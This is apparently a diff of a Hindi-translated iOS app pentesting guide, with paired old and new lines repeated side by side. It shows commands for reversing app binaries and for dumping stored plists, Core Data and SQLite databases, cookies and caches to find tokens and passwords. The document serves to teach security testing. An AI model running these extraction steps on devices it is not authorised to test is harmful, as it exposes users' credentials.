### Listing Installed Apps
स्थापित ऐप्स के **बंडल पहचानकर्ता** का निर्धारण करने के लिए `frida-ps -Uai` कमांड का उपयोग करें:
इंस्टॉल किए गए ऐप्स के **बंडल पहचानकर्ता** का निर्धारण करने के लिए `frida-ps -Uai` कमांड का उपयोग करें:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -167,20 +167,20 @@ ios-hooking-with-objection.md
- **`Info.plist`**: यह फ़ाइल ऐप्लिकेशन के विशिष्ट कॉन्फ़िगरेशन विवरण रखती है।
- **`_CodeSignature/`**: यह निर्देशिका एक plist फ़ाइल शामिल करती है जिसमें एक हस्ताक्षर होता है, जो बंडल में सभी फ़ाइलों की अखंडता सुनिश्चित करता है।
- **`Assets.car`**: एक संकुचित संग्रह जो आइकनों जैसी संपत्ति फ़ाइलों को संग्रहीत करता है।
- **`Frameworks/`**: यह फ़ोल्डर ऐप्लिकेशन की मूलभूत पुस्तकालयों को रखता है, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकत हैं।
- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलें कहा जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एकल iCloud खाते में कई उपकरणों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
- **`Frameworks/`**: यह फ़ोल्डर ऐप्लिकेशन की मूल लाइब्रेरीज़ को रखता है, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकत हैं।
- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलें कहा जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक ही डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही iCloud खाते में कई डिवाइसों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है।
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` फ़ाइल आपके ऐप्लिकेशन या बंडल के प्रकार और निर्माता कोड निर्दिष्ट करने का एक वैकल्पिक तरीका है।
- **en.lproj, fr.proj, Base.lproj**: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन।
- **en.lproj, fr.proj, Base.lproj**: ये भाषा पैक हैं जो उन विशिष्ट भाषाओं के लिए संसाधन शामिल करते हैं, और यदि कोई भाषा समर्थित नहीं है तो एक डिफ़ॉल्ट संसाधन होता है
- **Security**: `_CodeSignature/` निर्देशिका ऐप की सुरक्षा में एक महत्वपूर्ण भूमिका निभाती है, सभी बंडल की गई फ़ाइलों की अखंडता को डिजिटल हस्ताक्षरों के माध्यम से सत्यापित करती है।
- **Asset Management**: `Assets.car` फ़ाइल ग्राफिकल संपत्तियों को कुशलतापूर्वक प्रबंधित करने के लिए संकुचन का उपयोग करती है, जो ऐप्लिकेशन के प्रदर्शन को अनुकूलित करने और इसके समग्र आकार को कम करने के लिए महत्वपूर्ण है।
- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड पुस्तकालयों (`Frameworks/`) को शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (`PlugIns/`) की अनुमति मिलती है।
- **Localization**: संरचना कई भाषाओं का समर्थन करती है, विशिष्ट भाषा पैक के लिए संसाधनों को शामिल करके वैश्विक ऐप्लिकेशन पहुंच को सुविधाजनक बनाती है।
- **Frameworks and PlugIns**: ये निर्देशिकाएँ iOS ऐप्लिकेशनों की मॉड्यूलरिटी को रेखांकित करती हैं, जिससे डेवलपर्स को पुन: प्रयोज्य कोड लाइब्रेरीज़ (`Frameworks/`) शामिल करने और ऐप की कार्यक्षमता को बढ़ाने (`PlugIns/`) की अनुमति मिलती है।
- **Localization**: यह संरचना कई भाषाओं का समर्थन करती है, विशिष्ट भाषा पैक के लिए संसाधनों को शामिल करके वैश्विक ऐप्लिकेशन पहुंच को सुविधाजनक बनाती है।
**Info.plist**
**Info.plist** iOS ऐप्लिकेशनों के लिए एक आधारशिला के रूप में कार्य करता है, **की-मान** जोड़ों के रूप में प्रमुख कॉन्फ़िगरेशन डेटा को संलग्न करता है। यह फ़ाइल न केवल ऐप्लिकेशनों के लिए बल्कि ऐप एक्सटेंशन और बंडल में शामिल फ्रेमवर्क के लिए भी आवश्यक है। यह XML या बाइनरी प्रारूप में संरचित होती है और ऐप की अनुमतियों से लेकर सुरक्षा कॉन्फ़िगरेशन तक महत्वपूर्ण जानकारी रखती है। उपलब्ध कुंजियों की विस्तृत खोज के लिए, कोई [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) का संदर्भ ले सकता है।
**Info.plist** iOS ऐप्लिकेशनों के लिए एक आधारशिला के रूप में कार्य करता है, **की-मान** जोड़ों के रूप में प्रमुख कॉन्फ़िगरेशन डेटा को संलग्न करता है। यह फ़ाइल न केवल ऐप्लिकेशनों के लिए बल्कि ऐप एक्सटेंशन और बंडल में शामिल फ्रेमवर्क के लिए भी आवश्यक है। यह XML या बाइनरी प्रारूप में संरचित होती है और ऐप अनुमतियों से लेकर सुरक्षा कॉन्फ़िगरेशन तक महत्वपूर्ण जानकारी रखती है। उपलब्ध कुंजियों की विस्तृत खोज के लिए, कोई [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) का संदर्भ ले सकता है।
जो लोग इस फ़ाइल के साथ अधिक सुलभ प्रारूप में काम करना चाहते हैं, उनके लिए XML रूपांतरण को macOS पर `plutil` का उपयोग करके आसानी से प्राप्त किया जा सकता है (जो संस्करण 10.2 और बाद में स्वदेशी रूप से उपलब्ध है) या Linux पर `plistutil` का उपयोग करके। रूपांतरण के लिए आदेश इस प्रकार हैं:
जो लोग इस फ़ाइल के साथ अधिक सुलभ प्रारूप में काम करना चाहते हैं, उनके लिए XML रूपांतरण को macOS पर `plutil` का उपयोग करके आसानी से प्राप्त किया जा सकता है (संस्करण 10.2 और बाद में स्वदेशी रूप से उपलब्ध) या Linux पर `plistutil` का उपयोग करके। रूपांतरण के लिए आदेश इस प्रकार हैं:
- **For macOS**:
```bash
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) जैसी अन्य प्रविष्टियाँ, फ़ाइल का निरीक्षण करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से स्थित की जा सकती हैं:
**Info.plist** फ़ाइल जो जानकारी प्रकट कर सकती है, उनमें प्रमुख प्रविष्टियाँ शामिल हैं जैसे ऐप अनुमति स्ट्रिंग्स (`UsageDescription`), कस्टम URL स्कीम्स (`CFBundleURLTypes`), और ऐप ट्रांसपोर्ट सुरक्षा के लिए कॉन्फ़िगरेशन (`NSAppTransportSecurity`)। ये प्रविष्टियाँ, साथ ही निर्यातित/आयातित कस्टम दस्तावेज़ प्रकार (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) जैसी अन्य प्रविष्टियाँ, फ़ाइल की जांच करके या एक साधारण `grep` कमांड का उपयोग करके आसानी से पाई जा सकती हैं:
```bash
$ grep -i <keyword> Info.plist
```
@ -236,7 +236,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **Documents/**
- इसमें सभी उपयोगकर्ता-निर्मित डेटा शामिल है। एप्लिकेशन अंत उपयोगकर्ता इस डेटा के निर्माण की शुरुआत करता है।
- उपयोगकर्ताओं के लिए दृश्य और **उपयोगकर्ता इसमें लिख सकते हैं**
- उपयोगकर्ताओं के लिए दृश्य है और **उपयोगकर्ता इसमें लिख सकते हैं**
- इस निर्देशिका में सामग्री **बैकअप की जाती है**
- ऐप `NSURLIsExcludedFromBackupKey` सेट करके पथों को अक्षम कर सकता है।
- **Library/**
@ -244,12 +244,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- iOS ऐप आमतौर पर `Application Support` और `Caches` उपनिर्देशिकाओं का उपयोग करते हैं, लेकिन ऐप कस्टम उपनिर्देशिकाएँ बना सकता है।
- **Library/Caches/**
- इसमें **सेमी-स्थायी कैश की गई फ़ाइलें** शामिल हैं।
- उपयोगकर्ताओं के लिए अदृश्य और **उपयोगकर्ता इसमें लिख नहीं सकते**
- उपयोगकर्ताओं के लिए अदृश्य है और **उपयोगकर्ता इसमें लिख नहीं सकते**
- इस निर्देशिका में सामग्री **बैकअप नहीं की जाती**
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है।
- **Library/Application Support/**
- इसमें ऐप चलाने के लिए आवश्यक **स्थायी** **फाइलें** शामिल हैं।
- **उपयोगकर्ताओं के लिए अदृश्य** और उपयोगकर्ता इसमें लिख नहीं सकते।
- **उपयोगकर्ताओं के लिए अदृश्य** है और उपयोगकर्ता इसमें लिख नहीं सकते।
- इस निर्देशिका में सामग्री **बैकअप की जाती है**
- ऐप `NSURLIsExcludedFromBackupKey` सेट करके पथों को अक्षम कर सकता है।
- **Library/Preferences/**
@ -259,9 +259,9 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- **tmp/**
- इस निर्देशिका का उपयोग **अस्थायी फ़ाइलें** लिखने के लिए करें जिन्हें ऐप लॉन्च के बीच में बने रहने की आवश्यकता नहीं है।
- इसमें गैर-स्थायी कैश की गई फ़ाइलें शामिल हैं।
- **उपयोगकर्ताओं के लिए अदृश्य**
- **उपयोगकर्ताओं के लिए अदृश्य** है
- इस निर्देशिका में सामग्री बैकअप नहीं की जाती है।
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलें हटा सकता है।
- जब ऐप चल नहीं रहा होता है और स्टोरेज स्पेस कम होता है, तो OS स्वचालित रूप से इस निर्देशिका की फ़ाइलों को हटा सकता है।
आइए iGoat-Swift के एप्लिकेशन बंडल (.app) निर्देशिका पर करीब से नज़र डालते हैं जो बंडल निर्देशिका के अंदर है (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
@ -277,7 +277,7 @@ Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
```
### बाइनरी रिवर्सिंग
### Binary Reversing
Inside the `<application-name>.app` folder you will find a binary file called `<application-name>`. This is the file that will be **executed**. You can perform a basic inspection of the binary with the tool **`otool`**:
```bash
@ -293,15 +293,15 @@ DVIA-v2:
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
```
**ऐप एन्क्रिप्टेड है या नहीं जांचें**
**ऐप एन्क्रिप्टेड है या नहीं, यह जांचें**
देखें कि क्या इसके लिए कोई आउटपुट है:
```bash
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
```
**बाइनरी को डिसएसेंबल करना**
**बाइनरी को डिसअसेम्बल करना**
टेक्स्ट सेक्शन को डिसएसेंबल करें:
टेक्स्ट सेक्शन को डिसअसेम्बल करें:
```bash
otool -tV DVIA-v2
DVIA-v2:
@ -355,37 +355,37 @@ double _field1;
double _field2;
};
```
हालांकि, बाइनरी को डिस्सेम्बल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)
हालांकि, बाइनरी को डिस्सेम्बल करने के लिए सबसे अच्छे विकल्प हैं: [**Hopper**](https://www.hopperapp.com/download.html?) और [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
## डेटा संग्रहण
यह जानने के लिए कि iOS डिवाइस में डेटा कैसे संग्रहित करता है, इस पृष्ठ को पढ़ें:
यह जानने के लिए कि iOS डिवाइस में डेटा कैसे संग्रहत करता है, इस पृष्ठ को पढ़ें:
{{#ref}}
ios-basics.md
{{#endref}}
> [!WARNING]
> जानकारी संग्रहित करने के लिए निम्नलिखित स्थानों की जांच **ऐप्लिकेशन स्थापित करने के तुरंत बाद**, **ऐप्लिकेशन की सभी कार्यक्षमताओं की जांच करने के बाद** और यहां तक कि **एक उपयोगकर्ता से लॉगआउट करने और एक अलग में लॉगिन करने के बाद** की जानी चाहिए।\
> लक्ष्य है **अनसुरक्षित संवेदनशील जानकारी** खोजना (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता की और पहले लॉगिन किए गए उपयोगकर्ताओं की।
> जानकारी संग्रहत करने के लिए निम्नलिखित स्थानों की जांच **ऐप्लिकेशन स्थापित करने के तुरंत बाद**, **ऐप्लिकेशन की सभी कार्यक्षमताओं की जांच करने के बाद** और यहां तक कि **एक उपयोगकर्ता से लॉगआउट करने और दूसरे में लॉगिन करने के बाद** की जानी चाहिए।\
> लक्ष्य है **अनसुरक्षित संवेदनशील जानकारी** खोजना (पासवर्ड, टोकन), वर्तमान उपयोगकर्ता और पूर्व में लॉग इन किए गए उपयोगकर्ताओं की।
### Plist
**plist** फ़ाइलें संरचित XML फ़ाइलें हैं जो **की-मान जोड़े** रखती हैं। यह स्थायी डेटा संग्रहित करने का एक तरीका है, इसलिए कभी-कभी आप इन फ़ाइलों में **संवेदनशील जानकारी** पा सकते हैं। ऐप स्थापित करने के बाद और इसका गहन उपयोग करने के बाद इन फ़ाइलों की जांच करने की सिफारिश की जाती है कि क्या नया डेटा लिखा गया है।
**plist** फ़ाइलें संरचित XML फ़ाइलें हैं जो **की-मान जोड़े** रखती हैं। यह स्थायी डेटा संग्रहत करने का एक तरीका है, इसलिए कभी-कभी आप **इन फ़ाइलों में संवेदनशील जानकारी** पा सकते हैं। ऐप स्थापित करने के बाद और इसका गहन उपयोग करने के बाद इन फ़ाइलों की जांच करने की सिफारिश की जाती है कि क्या नया डेटा लिखा गया है।
plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहित करने का सबसे सामान्य तरीका **NSUserDefaults** का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर **`Library/Preferences/<appBundleID>.plist`** में सहेजी जाती है।
plist फ़ाइलों में डेटा को स्थायी रूप से संग्रहत करने का सबसे सामान्य तरीका **NSUserDefaults** का उपयोग करना है। यह plist फ़ाइल ऐप सैंडबॉक्स के अंदर **`Library/Preferences/<appBundleID>.plist`** में सहेजी जाती है।
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ इंटरैक्ट करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहित करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है।
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) क्लास डिफ़ॉल्ट सिस्टम के साथ इंटरैक्ट करने के लिए एक प्रोग्रामेटिक इंटरफ़ेस प्रदान करती है। डिफ़ॉल्ट सिस्टम एक एप्लिकेशन को **उपयोगकर्ता प्राथमिकताओं** के अनुसार अपने व्यवहार को अनुकूलित करने की अनुमति देता है। `NSUserDefaults` द्वारा सहेजा गया डेटा एप्लिकेशन बंडल में देखा जा सकता है। यह क्लास **plist** **फ़ाइल** में **डेटा** संग्रहत करती है, लेकिन इसे छोटे मात्रा में डेटा के साथ उपयोग करने के लिए डिज़ाइन किया गया है।
इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से अधिक समय तक एक्सेस नहीं किया जा सकता है, लेकिन इसे **बैकअप** करके एक्सेस किया जा सकता है।
इस डेटा को सीधे एक विश्वसनीय कंप्यूटर के माध्यम से लंबे समय तक एक्सेस नहीं किया जा सकता है, लेकिन इसे **बैकअप** करके एक्सेस किया जा सकता है।
आप **`NSUserDefaults`** का उपयोग करके सहेजे गए जानकारी को **dump** कर सकते हैं, जिसका उपयोग objection के `ios nsuserdefaults get` से किया जा सकता है
आप **`NSUserDefaults`** का उपयोग करके सहेजी गई जानकारी को objection के `ios nsuserdefaults get` का उपयोग करके **डंप** कर सकते हैं
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर जा सकते हैं और चलाएं:
ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी plist फ़ाइलों को खोजने के लिए आप `/private/var/mobile/Containers/Data/Application/{APPID}` पर पहुंच सकते हैं और चलाएं:
```bash
find ./ -name "*.plist"
```
**XML या बाइनरी (bplist)** प्रारूप से XML में फ़ाइलों को परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम के आधार पर विभिन्न विधियाँ उपलब्ध हैं:
**फाइलों को **XML या बाइनरी (bplist)** प्रारूप से XML में परिवर्तित करने के लिए, आपके ऑपरेटिंग सिस्टम के आधार पर विभिन्न विधियाँ उपलब्ध हैं:**
**macOS उपयोगकर्ताओं के लिए:** `plutil` कमांड का उपयोग करें। यह macOS (10.2+) में एक अंतर्निहित उपकरण है, जो इस उद्देश्य के लिए डिज़ाइन किया गया है:
```bash
@ -396,16 +396,16 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**एक Objection सत्र के भीतर:** मोबाइल अनुप्रयोगों का विश्लेषण करने के लिए, एक विशिष्ट कमांड आपको plist फ़ाइलों को सीधे परिवर्तित करने की अनुमति देत है:
**Within an Objection Session:** मोबाइल एप्लिकेशनों का विश्लेषण करने के लिए, एक विशेष कमांड आपको plist फ़ाइलों को सीधे परिवर्तित करने की अनुमति देत है:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
```
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) आपके एप्लिकेशन में ऑब्जेक्ट्स के मॉडल लेयर को प्रबंधित करने के लिए एक ढांचा है। [Core Data अपने स्थायी स्टोर के रूप में SQLite का उपयोग कर सकता है](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), लेकिन ढांचा स्वयं एक डेटाबेस नहीं है।\
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) आपके एप्लिकेशन में ऑब्जेक्ट्स के मॉडल लेयर को प्रबंधित करने के लिए एक ढांचा है। [Core Data SQLite का उपयोग अपने स्थायी स्टोर के रूप में कर सकता है](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), लेकिन ढांचा स्वयं एक डेटाबेस नहीं है।\
CoreData डिफ़ॉल्ट रूप से अपने डेटा को एन्क्रिप्ट नहीं करता है। हालाँकि, CoreData में एक अतिरिक्त एन्क्रिप्शन लेयर जोड़ी जा सकती है। अधिक विवरण के लिए [GitHub Repo](https://github.com/project-imas/encrypted-core-data) देखें।
आप किसी एप्लिकेशन की SQLite Core Data जानकारी को पथ `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` में पा सकते हैं।
आप किसी एप्लिकेशन की SQLite Core Data जानकारी को इस पथ पर पा सकते हैं `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
**यदि आप SQLite खोल सकते हैं और संवेदनशील जानकारी तक पहुँच सकते हैं, तो आपने एक गलत कॉन्फ़िगरेशन पाया है।**
```objectivec:Code from iGoat
@ -434,17 +434,17 @@ NSLog(@"data stored in core data");
### YapDatabase
[YapDatabase](https://github.com/yapstudios/YapDatabase) एक की/मान भंडार है जो SQLite के ऊपर बनाया गया है।\
चूंकि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले अनुभाग में दिए गए कमांड का उपयोग करके खोज सकते हैं।
चूंकि Yap डेटाबेस SQLite डेटाबेस हैं, आप उन्हें पिछले अनुभाग में दिए गए कमांड का उपयोग करके ढूंढ सकते हैं।
### Other SQLite Databases
यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे उन पर **संवेदनशील** **डेटा** **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन के निर्देशिका में हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`)
यह सामान्य है कि एप्लिकेशन अपने स्वयं के SQLite डेटाबेस बनाते हैं। वे **ससिटिव** **डेटा** को उन पर **स्टोर** कर सकते हैं और इसे एन्क्रिप्ट नहीं कर सकते। इसलिए, हमेशा एप्लिकेशन की निर्देशिका के अंदर हर डेटाबेस की जांच करना दिलचस्प होता है। इसलिए उस एप्लिकेशन की निर्देशिका में जाएं जहां डेटा सहेजा गया है (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
डेवलपर्स को **डेटा स्टोर और सिंक करने** की अनुमति मिलती है **NoSQL क्लाउड-होस्टेड डेटाबेस** के माध्यम से Firebase Real-Time Databases में। JSON प्रारूप में स्टोर किया गया डेटा सभी जुड़े हुए क्लाइंट्स के साथ वास्तविक समय में समन्वयित होता है।
डेवलपर्स को **डेटा स्टोर और सिंक करने** की अनुमति मिलती है **NoSQL क्लाउड-होस्टेड डेटाबेस** के माध्यम से Firebase Real-Time Databases में। JSON प्रारूप में संग्रहीत, डेटा सभी जुड़े हुए क्लाइंट्स के लिए वास्तविक समय में समन्वयित होता है।
आप यहाँ गलत कॉन्फ़िगर किए गए Firebase डेटाबेस की जांच कैसे करें, यह पा सकते हैं:
@ -479,17 +479,17 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) को एक **हल्का** और **एंबेडेड** डेटाबेस इंजन के रूप में वर्णित किया गया है जो **डॉक्यूमेंट-ओरिएंटेड** (NoSQL) दृष्टिकोण का पालन करता है। इसे **iOS** और **macOS** के लिए मूल रूप से डिज़ाइन किया गया है, यह डेटा को निर्बाध रूप से समन्वयित करने की क्षमता प्रदान करता है।
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) को एक **हल्का** और **एंबेडेड** डेटाबेस इंजन के रूप में वर्णित किया गया है जो **डॉक्यूमेंट-ओरिएंटेड** (NoSQL) दृष्टिकोण का पालन करता है। इसे **iOS** और **macOS** के लिए मूल रूप से डिज़ाइन किया गया है, यह डेटा को सहजता से सिंक करने की क्षमता प्रदान करता है।
डिवाइस पर संभावित Couchbase डेटाबेस की पहचान करने के लिए, निम्नलिखित निर्देशिका की जांच की जानी चाहिए:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### कुकीज़
### Cookies
iOS ऐप्स क कुकीज़ को प्रत्येक ऐप्स के फ़ोल्डर के अंदर **`Library/Cookies/cookies.binarycookies`** में स्टोर करता है। हालाँकि, डेवलपर्स कभी-कभी उन्हें **कीचेन** में सहेजने का निर्णय लेते हैं क्योंकि उल्लेखित **कुकी फ़ाइल को बैकअप में एक्सेस किया जा सकता है**
iOS ऐप्स क कुकीज़ को प्रत्येक ऐप्स के फ़ोल्डर के अंदर **`Library/Cookies/cookies.binarycookies`** में स्टोर करता है। हालाँकि, डेवलपर्स कभी-कभी उन्हें **keychain** में सहेजने का निर्णय लेते हैं क्योंकि उल्लेखित **कुकी फ़ाइल को बैकअप में एक्सेस किया जा सकता है**
कुकी फ़ाइल की जांच करने के लिए आप [**यह पायथन स्क्रिप्ट**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) का उपयोग कर सकते हैं या objection के **`ios cookies get`** का उपयोग कर सकते हैं।\
कुकी फ़ाइल की जांच करने के लिए आप [**इस पायथन स्क्रिप्ट**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) का उपयोग कर सकते हैं या objection के **`ios cookies get`** का उपयोग कर सकते हैं।\
**आप इन फ़ाइलों को JSON प्रारूप में परिवर्तित करने और डेटा की जांच करने के लिए objection का भी उपयोग कर सकते हैं।**
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -508,11 +508,11 @@ iOS ऐप्स की कुकीज़ को प्रत्येक ऐ
```
### Cache
डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। यह डेटाबेस **संवेदनशील डेटा** रख सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/<UUID>`) और `/Library/Caches/<Bundle Identifier>` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को खोल सकता है और कमांड `sqlite connect Cache.db` के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है।
डिफ़ॉल्ट रूप से NSURLSession डेटा को स्टोर करता है, जैसे कि **HTTP अनुरोध और प्रतिक्रियाएँ Cache.db** डेटाबेस में। इस डेटाबेस में **संवेदनशील डेटा** हो सकता है, यदि टोकन, उपयोगकर्ता नाम या कोई अन्य संवेदनशील जानकारी कैश की गई है। कैश की गई जानकारी खोजने के लिए ऐप के डेटा निर्देशिका को खोलें (`/var/mobile/Containers/Data/Application/<UUID>`) और `/Library/Caches/<Bundle Identifier>` पर जाएं। **WebKit कैश भी Cache.db** फ़ाइल में स्टोर किया जा रहा है। **Objection** इस डेटाबेस को खोल सकता है और कमांड `sqlite connect Cache.db` के साथ इंटरैक्ट कर सकता है, क्योंकि यह एक **सामान्य SQLite डेटाबेस** है।
यह **सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे इसे प्राप्त किया जा सकता है:
यह **सिफारिश की जाती है कि इस डेटा को कैशिंग बंद कर दिया जाए**, क्योंकि इसमें अनुरोध या प्रतिक्रिया में संवेदनशील जानकारी हो सकती है। नीचे दी गई सूची विभिन्न तरीकों को दिखाती है जिससे यह प्राप्त किया जा सकता है:
1. सिफारिश की जाती है कि लॉगआउट के बाद कैश की गई प्रतिक्रियाएँ हटा दी जाएँ। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं:
1. साइन आउट करने के बाद कैश की गई प्रतिक्रियाओं को हटाना सिफारिश की जाती है। यह Apple द्वारा प्रदान की गई विधि [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) के साथ किया जा सकता है। आप इस विधि को इस प्रकार कॉल कर सकते हैं:
`URLCache.shared.removeAllCachedResponses()`
@ -528,11 +528,11 @@ iOS ऐप्स की कुकीज़ को प्रत्येक ऐ
### Snapshots
जब भी आप होम बटन दबाते हैं, iOS **वर्तमान स्क्रीन का स्नैपशॉट लेता है** ताकि एप्लिकेशन में संक्रमण को बहुत सुचारू तरीके से किया जा सके। हालाँकि, यदि वर्तमान स्क्रीन में **संवेदनशील** **डेटा** मौजूद है, तो यह **छवि** में **सहेजा** जाएगा (जो **रीबूट** के **दौरान** **बनाए** **रहता** है)। ये स्नैपशॉट हैं जिन तक आप ऐप्स के बीच स्विच करने के लिए होम स्क्रीन पर डबल टैप करके भी पहुँच सकते हैं।
